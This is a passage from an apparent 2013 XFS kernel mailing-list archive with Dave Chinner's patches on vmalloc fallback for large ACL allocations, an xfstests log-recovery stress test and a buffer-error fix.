Ao8HAPFsJFJ5LJ62/2dsb2JhbABagwetepUjF3SDATuBAgOINZhMoGOQHIQHA5QblUCDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:23:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGRkk-0000sZ-Eo for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGRkk-0008Am-DT for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: fix some new memory allocation failures Date: Mon, 2 Sep 2013 20:52:58 +1000 X-ASG-Orig-Subj: [PATCH 0/2] xfs: fix some new memory allocation failures Message-Id: <1378119180-31380-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378119184 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, These failures are a result of order-4 allocations being done on v5 filesystems to support the large ACL count xattrs. The first patch puts out usual falbback to vmalloc workaround in place. The second patch factors all the places we now have this fallback-to-vmalloc and makes it transparent to the callers. Cheers, Dave. From dave@fromorbit.com Mon Sep 2 05:53:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2FE947F56 for ; Mon, 2 Sep 2013 05:53:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B42A4AC002 for ; Mon, 2 Sep 2013 03:53:07 -0700 (PDT) X-ASG-Debug-ID: 1378119184-04cbb02c3bcdc530002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id yJajh8Yssot02xYt for ; Mon, 02 Sep 2013 03:53:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApAHAPFsJFJ5LJ62/2dsb2JhbABagwetepUjF3SCJAEBBScvMwgYMTkDGxmIAbkvkByEBwOUG5VAgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:23:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGRkk-0000sa-FQ for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGRkk-0008Ap-EK for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: fix memory allocation failures with ACLs Date: Mon, 2 Sep 2013 20:52:59 +1000 X-ASG-Orig-Subj: [PATCH 1/2] xfs: fix memory allocation failures with ACLs Message-Id: <1378119180-31380-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378119180-31380-1-git-send-email-david@fromorbit.com> References: <1378119180-31380-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378119185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Ever since increasing the number of supported ACLs from 25 to as many as can fit in an xattr, there have been reports of order 4 memory allocations failing in the ACL code. Fix it in the same way we've fixed all the xattr read/write code that has the same problem. Signed-off-by: Dave Chinner --- fs/xfs/xfs_acl.c | 32 ++++++++++++++++++++++---------- 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 6951896..4ea73cc 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -152,9 +152,12 @@ xfs_get_acl(struct inode *inode, int type) * go out to the disk. */ len = XFS_ACL_MAX_SIZE(ip->i_mount); - xfs_acl = kzalloc(len, GFP_KERNEL); - if (!xfs_acl) - return ERR_PTR(-ENOMEM); + xfs_acl = kmem_zalloc(len, KM_SLEEP | KM_MAYFAIL); + if (!xfs_acl) { + xfs_acl = kmem_zalloc_large(len); + if (!xfs_acl) + return ERR_PTR(-ENOMEM); + } error = -xfs_attr_get(ip, ea_name, (unsigned char *)xfs_acl, &len, ATTR_ROOT); @@ -175,10 +178,13 @@ xfs_get_acl(struct inode *inode, int type) if (IS_ERR(acl)) goto out; - out_update_cache: +out_update_cache: set_cached_acl(inode, type, acl); - out: - kfree(xfs_acl); +out: + if (is_vmalloc_addr(xfs_acl)) + kmem_free_large(xfs_acl); + else + kfree(xfs_acl); return acl; } @@ -209,9 +215,12 @@ xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) struct xfs_acl *xfs_acl; int len = XFS_ACL_MAX_SIZE(ip->i_mount); - xfs_acl = kzalloc(len, GFP_KERNEL); - if (!xfs_acl) - return -ENOMEM; + xfs_acl = kmem_zalloc(len, KM_SLEEP | KM_MAYFAIL); + if (!xfs_acl) { + xfs_acl = kmem_zalloc_large(len); + if (!xfs_acl) + return -ENOMEM; + } xfs_acl_to_disk(xfs_acl, acl); @@ -222,7 +231,10 @@ xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) error = -xfs_attr_set(ip, ea_name, (unsigned char *)xfs_acl, len, ATTR_ROOT); - kfree(xfs_acl); + if (is_vmalloc_addr(xfs_acl)) + kmem_free_large(xfs_acl); + else + kfree(xfs_acl); } else { /* * A NULL ACL argument means we want to remove the ACL. -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 05:53:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E1227F61 for ; Mon, 2 Sep 2013 05:53:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0FB388F8052 for ; Mon, 2 Sep 2013 03:53:09 -0700 (PDT) X-ASG-Debug-ID: 1378119186-04cb6c153dcdfa10001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id vNC7ooPMZloe9p9K for ; Mon, 02 Sep 2013 03:53:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApIHAPFsJFJ5LJ62/2dsb2JhbABagwetepQBgSIXdIIkAQEFJy8zCBgxOQMbGYgBuS+PdIQvA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:23:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGRkk-0000sb-G4 for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGRkk-0008Au-Ex for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:53:02 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: factor all the kmalloc-or-vmalloc fallback allocations Date: Mon, 2 Sep 2013 20:53:00 +1000 X-ASG-Orig-Subj: [PATCH 2/2] xfs: factor all the kmalloc-or-vmalloc fallback allocations Message-Id: <1378119180-31380-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378119180-31380-1-git-send-email-david@fromorbit.com> References: <1378119180-31380-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378119186 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner We have quite a few places now where we do: x = kmem_zalloc(large size) if (!x) x = kmem_zalloc_large(large size) and do a similar dance when freeing the memory. kmem_free() already does the correct freeing dance, and kmem_zalloc_large() is only ever called in these constructs, so just factor it all into kmem_zalloc_large() and kmem_free(). Signed-off-by: Dave Chinner --- fs/xfs/kmem.c | 15 ++++++++++++--- fs/xfs/kmem.h | 9 +-------- fs/xfs/xfs_acl.c | 28 ++++++++-------------------- fs/xfs/xfs_bmap_util.c | 15 ++++----------- fs/xfs/xfs_ioctl.c | 34 +++++++++++----------------------- fs/xfs/xfs_ioctl32.c | 18 ++++++------------ fs/xfs/xfs_itable.c | 2 +- 7 files changed, 43 insertions(+), 78 deletions(-) diff --git a/fs/xfs/kmem.c b/fs/xfs/kmem.c index 4a7286c..a02cfb9 100644 --- a/fs/xfs/kmem.c +++ b/fs/xfs/kmem.c @@ -27,8 +27,6 @@ /* * Greedy allocation. May fail and may return vmalloced memory. - * - * Must be freed using kmem_free_large. */ void * kmem_zalloc_greedy(size_t *size, size_t minsize, size_t maxsize) @@ -36,7 +34,7 @@ kmem_zalloc_greedy(size_t *size, size_t minsize, size_t maxsize) void *ptr; size_t kmsize = maxsize; - while (!(ptr = kmem_zalloc_large(kmsize))) { + while (!(ptr = vzalloc(kmsize))) { if ((kmsize >>= 1) <= minsize) kmsize = minsize; } @@ -75,6 +73,17 @@ kmem_zalloc(size_t size, xfs_km_flags_t flags) return ptr; } +void * +kmem_zalloc_large(size_t size, xfs_km_flags_t flags) +{ + void *ptr; + + ptr = kmem_zalloc(size, flags | KM_MAYFAIL); + if (ptr) + return ptr; + return vzalloc(size); +} + void kmem_free(const void *ptr) { diff --git a/fs/xfs/kmem.h b/fs/xfs/kmem.h index b2f2620..3a7371c 100644 --- a/fs/xfs/kmem.h +++ b/fs/xfs/kmem.h @@ -57,17 +57,10 @@ kmem_flags_convert(xfs_km_flags_t flags) extern void *kmem_alloc(size_t, xfs_km_flags_t); extern void *kmem_zalloc(size_t, xfs_km_flags_t); +extern void *kmem_zalloc_large(size_t size, xfs_km_flags_t); extern void *kmem_realloc(const void *, size_t, size_t, xfs_km_flags_t); extern void kmem_free(const void *); -static inline void *kmem_zalloc_large(size_t size) -{ - return vzalloc(size); -} -static inline void kmem_free_large(void *ptr) -{ - vfree(ptr); -} extern void *kmem_zalloc_greedy(size_t *, size_t, size_t); diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4ea73cc..0e2f37e 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -152,12 +152,9 @@ xfs_get_acl(struct inode *inode, int type) * go out to the disk. */ len = XFS_ACL_MAX_SIZE(ip->i_mount); - xfs_acl = kmem_zalloc(len, KM_SLEEP | KM_MAYFAIL); - if (!xfs_acl) { - xfs_acl = kmem_zalloc_large(len); - if (!xfs_acl) - return ERR_PTR(-ENOMEM); - } + xfs_acl = kmem_zalloc_large(len, KM_SLEEP); + if (!xfs_acl) + return ERR_PTR(-ENOMEM); error = -xfs_attr_get(ip, ea_name, (unsigned char *)xfs_acl, &len, ATTR_ROOT); @@ -181,10 +178,7 @@ xfs_get_acl(struct inode *inode, int type) out_update_cache: set_cached_acl(inode, type, acl); out: - if (is_vmalloc_addr(xfs_acl)) - kmem_free_large(xfs_acl); - else - kfree(xfs_acl); + kmem_free(xfs_acl); return acl; } @@ -215,12 +209,9 @@ xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) struct xfs_acl *xfs_acl; int len = XFS_ACL_MAX_SIZE(ip->i_mount); - xfs_acl = kmem_zalloc(len, KM_SLEEP | KM_MAYFAIL); - if (!xfs_acl) { - xfs_acl = kmem_zalloc_large(len); - if (!xfs_acl) - return -ENOMEM; - } + xfs_acl = kmem_zalloc_large(len, KM_SLEEP); + if (!xfs_acl) + return -ENOMEM; xfs_acl_to_disk(xfs_acl, acl); @@ -231,10 +222,7 @@ xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) error = -xfs_attr_set(ip, ea_name, (unsigned char *)xfs_acl, len, ATTR_ROOT); - if (is_vmalloc_addr(xfs_acl)) - kmem_free_large(xfs_acl); - else - kfree(xfs_acl); + kmem_free(xfs_acl); } else { /* * A NULL ACL argument means we want to remove the ACL. diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index c6dc551..97f952c 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -612,13 +612,9 @@ xfs_getbmap( if (bmv->bmv_count > ULONG_MAX / sizeof(struct getbmapx)) return XFS_ERROR(ENOMEM); - out = kmem_zalloc(bmv->bmv_count * sizeof(struct getbmapx), KM_MAYFAIL); - if (!out) { - out = kmem_zalloc_large(bmv->bmv_count * - sizeof(struct getbmapx)); - if (!out) - return XFS_ERROR(ENOMEM); - } + out = kmem_zalloc_large(bmv->bmv_count * sizeof(struct getbmapx), 0); + if (!out) + return XFS_ERROR(ENOMEM); xfs_ilock(ip, XFS_IOLOCK_SHARED); if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { @@ -754,10 +750,7 @@ xfs_getbmap( break; } - if (is_vmalloc_addr(out)) - kmem_free_large(out); - else - kmem_free(out); + kmem_free(out); return error; } diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 21d9c9df..668e8f4 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -456,12 +456,9 @@ xfs_attrlist_by_handle( if (IS_ERR(dentry)) return PTR_ERR(dentry); - kbuf = kmem_zalloc(al_hreq.buflen, KM_SLEEP | KM_MAYFAIL); - if (!kbuf) { - kbuf = kmem_zalloc_large(al_hreq.buflen); - if (!kbuf) - goto out_dput; - } + kbuf = kmem_zalloc_large(al_hreq.buflen, KM_SLEEP); + if (!kbuf) + goto out_dput; cursor = (attrlist_cursor_kern_t *)&al_hreq.pos; error = -xfs_attr_list(XFS_I(dentry->d_inode), kbuf, al_hreq.buflen, @@ -472,12 +469,9 @@ xfs_attrlist_by_handle( if (copy_to_user(al_hreq.buffer, kbuf, al_hreq.buflen)) error = -EFAULT; - out_kfree: - if (is_vmalloc_addr(kbuf)) - kmem_free_large(kbuf); - else - kmem_free(kbuf); - out_dput: +out_kfree: + kmem_free(kbuf); +out_dput: dput(dentry); return error; } @@ -495,12 +489,9 @@ xfs_attrmulti_attr_get( if (*len > XATTR_SIZE_MAX) return EINVAL; - kbuf = kmem_zalloc(*len, KM_SLEEP | KM_MAYFAIL); - if (!kbuf) { - kbuf = kmem_zalloc_large(*len); - if (!kbuf) - return ENOMEM; - } + kbuf = kmem_zalloc_large(*len, KM_SLEEP); + if (!kbuf) + return ENOMEM; error = xfs_attr_get(XFS_I(inode), name, kbuf, (int *)len, flags); if (error) @@ -509,11 +500,8 @@ xfs_attrmulti_attr_get( if (copy_to_user(ubuf, kbuf, *len)) error = EFAULT; - out_kfree: - if (is_vmalloc_addr(kbuf)) - kmem_free_large(kbuf); - else - kmem_free(kbuf); +out_kfree: + kmem_free(kbuf); return error; } diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index d3ab953..f671f7e 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -371,12 +371,9 @@ xfs_compat_attrlist_by_handle( return PTR_ERR(dentry); error = -ENOMEM; - kbuf = kmem_zalloc(al_hreq.buflen, KM_SLEEP | KM_MAYFAIL); - if (!kbuf) { - kbuf = kmem_zalloc_large(al_hreq.buflen); - if (!kbuf) - goto out_dput; - } + kbuf = kmem_zalloc_large(al_hreq.buflen, KM_SLEEP); + if (!kbuf) + goto out_dput; cursor = (attrlist_cursor_kern_t *)&al_hreq.pos; error = -xfs_attr_list(XFS_I(dentry->d_inode), kbuf, al_hreq.buflen, @@ -387,12 +384,9 @@ xfs_compat_attrlist_by_handle( if (copy_to_user(compat_ptr(al_hreq.buffer), kbuf, al_hreq.buflen)) error = -EFAULT; - out_kfree: - if (is_vmalloc_addr(kbuf)) - kmem_free_large(kbuf); - else - kmem_free(kbuf); - out_dput: +out_kfree: + kmem_free(kbuf); +out_dput: dput(dentry); return error; } diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 8a67d53..084b3e1 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -495,7 +495,7 @@ xfs_bulkstat( /* * Done, we're either out of filesystem or space to put the data. */ - kmem_free_large(irbuf); + kmem_free(irbuf); *ubcountp = ubelem; /* * Found some inodes, return them now and return the error next time. -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 06:01:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 183DA7F52 for ; Mon, 2 Sep 2013 06:01:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DE4DF8F8049 for ; Mon, 2 Sep 2013 04:01:39 -0700 (PDT) X-ASG-Debug-ID: 1378119694-04bdf02f20d0c680001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id RPfX7GKxL8xNoGUJ for ; Mon, 02 Sep 2013 04:01:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8HAIJvJFJ5LJ62/2dsb2JhbABagwetepUjF3SCJAFcOxhqAzSIAZhPoGSOSIVbA6lbgzIqgS0 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:31:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGRsx-0000uj-LU for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:01:31 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGRsx-0008G0-KF for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:01:31 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfstests: add fsstress/recovery test for XFS Date: Mon, 2 Sep 2013 21:01:31 +1000 X-ASG-Orig-Subj: [PATCH] [RFC] xfstests: add fsstress/recovery test for XFS Message-Id: <1378119691-31708-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378119694 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This has found several issues with recovery on CRC based filesystems. It is based on a test case for a dir3 assert failure provided by Michael L Semon. This is an RFC at the moment, because I haven't yet seen it run through to completion as an xfstest. e.g. it just threw an assert I've never seen before - xfs_buf_stale() being called on an unlocked buffer through xfsdbstrat via preallocation.... Signed-off-by: Dave Chinner --- tests/xfs/300 | 105 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/300.out | 1 + tests/xfs/group | 1 + 3 files changed, 107 insertions(+) create mode 100644 tests/xfs/300 create mode 100644 tests/xfs/300.out diff --git a/tests/xfs/300 b/tests/xfs/300 new file mode 100644 index 0000000..fcf00bf --- /dev/null +++ b/tests/xfs/300 @@ -0,0 +1,105 @@ +#!/bin/bash +# FS QA Test No. xfs/300 +# +# Basic log recovery stress test - do lots of stuff, shut down in the middle of +# it and check that recovery runs to completion and everything can be +# successfully removed afterwards.. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_cleanup() +{ + cd / + umount $SCRATCH_MNT 2>/dev/null + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# real QA test starts here +_supported_fs xfs +_supported_os Linux + +_require_scratch + +rm -f $seqres.full + +_scratch_mkfs > $seqres.full 2>&1 +umount $SCRATCH_MNT + +SLEEP_TIME=$((30 * $TIME_FACTOR)) +PROCS=$((2 * LOAD_FACTOR)) + +load_dir=$SCRATCH_MNT/test + +# let this run for a while +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +killall -9 fsstress +wait +sync +umount $SCRATCH_MNT + +# now mount again, run the load again, this time with a shutdown. +umount $SCRATCH_MNT +_scratch_mount +$XFS_FSR_PROG -v $load_dir >> $seqres.full 2>&1 +$FSSTRESS_PROG -n10000000 -p $PROCS -d $load_dir >> $seqres.full 2>&1 & +sleep $SLEEP_TIME +sync + +# now shutdown and unmount +sleep 5 +$here/src/godown $load_dir +killall -9 fsstress +wait + +# for some reason fsstress processes manage to live on beyond the wait? +sleep 5 +umount $SCRATCH_MNT + +# now recover, check the filesystem for consistency +xfs_logprint -t $TEST_DEV | head -20 +_scratch_mount +umount $SCRATCH_MNT +_check_scratch_fs + +# now clean up. +_scratch_mount +for d in $load_dir/*; do + rm -rf $d > /dev/null 2>&1 & +done +wait +umount $SCRATCH_MNT +_check_scratch_fs + +status=0 +exit diff --git a/tests/xfs/300.out b/tests/xfs/300.out new file mode 100644 index 0000000..7903b62 --- /dev/null +++ b/tests/xfs/300.out @@ -0,0 +1 @@ +QA output created by 300 diff --git a/tests/xfs/group b/tests/xfs/group index 352a4c5..3f1702a 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -179,3 +179,4 @@ 297 auto freeze 298 auto attr symlink quick 299 auto quota +300 auto stress log metadata repair -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 06:44:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 594177F52 for ; Mon, 2 Sep 2013 06:44:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D9297AC004 for ; Mon, 2 Sep 2013 04:44:40 -0700 (PDT) X-ASG-Debug-ID: 1378122277-04cb6c153dce3a90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id OZaz4rn7Qa2KgTYj for ; Mon, 02 Sep 2013 04:44:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8HAOR4JFJ5LJ62/2dsb2JhbABagwetepUjF3SCJAEtLzsYagM0iAGYPaBpkByEBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 21:14:37 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGSYc-0000z8-LE for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:44:34 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGSYc-0000BC-KK for xfs@oss.sgi.com; Mon, 02 Sep 2013 21:44:34 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: don't try to mark uncached buffers stale on error. Date: Mon, 2 Sep 2013 21:44:34 +1000 X-ASG-Orig-Subj: [PATCH] xfs: don't try to mark uncached buffers stale on error. Message-Id: <1378122274-658-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378122278 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140116 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner fsstress failed during a shutdown with the following assert: XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 ..... xfs_buf_stale+0x3f/0xf0 xfs_bioerror_relse+0x2d/0x90 xfsbdstrat+0x51/0xa0 xfs_zero_remaining_bytes+0x1d1/0x2d0 xfs_free_file_space+0x5d0/0x600 xfs_change_file_space+0x251/0x3a0 xfs_ioc_space+0xcc/0x130 ..... xfs_zero_remaining_bytes() works with uncached buffers, and hence if we are preventing IO due to a shutdown, we should not be marking it stale as that is only for cached buffers. Instead, just mark it with an error and make sure it gets to the caller. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index c06823f..ee85f29 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1125,25 +1125,20 @@ xfs_bioerror_relse( struct xfs_buf *bp) { int64_t fl = bp->b_flags; + /* - * No need to wait until the buffer is unpinned. - * We aren't flushing it. - * - * chunkhold expects B_DONE to be set, whether - * we actually finish the I/O or not. We don't want to - * change that interface. + * No need to wait until the buffer is unpinned. We aren't flushing it. */ XFS_BUF_UNREAD(bp); XFS_BUF_DONE(bp); xfs_buf_stale(bp); bp->b_iodone = NULL; + + /* + * There's no reason to mark error for ASYNC buffers as 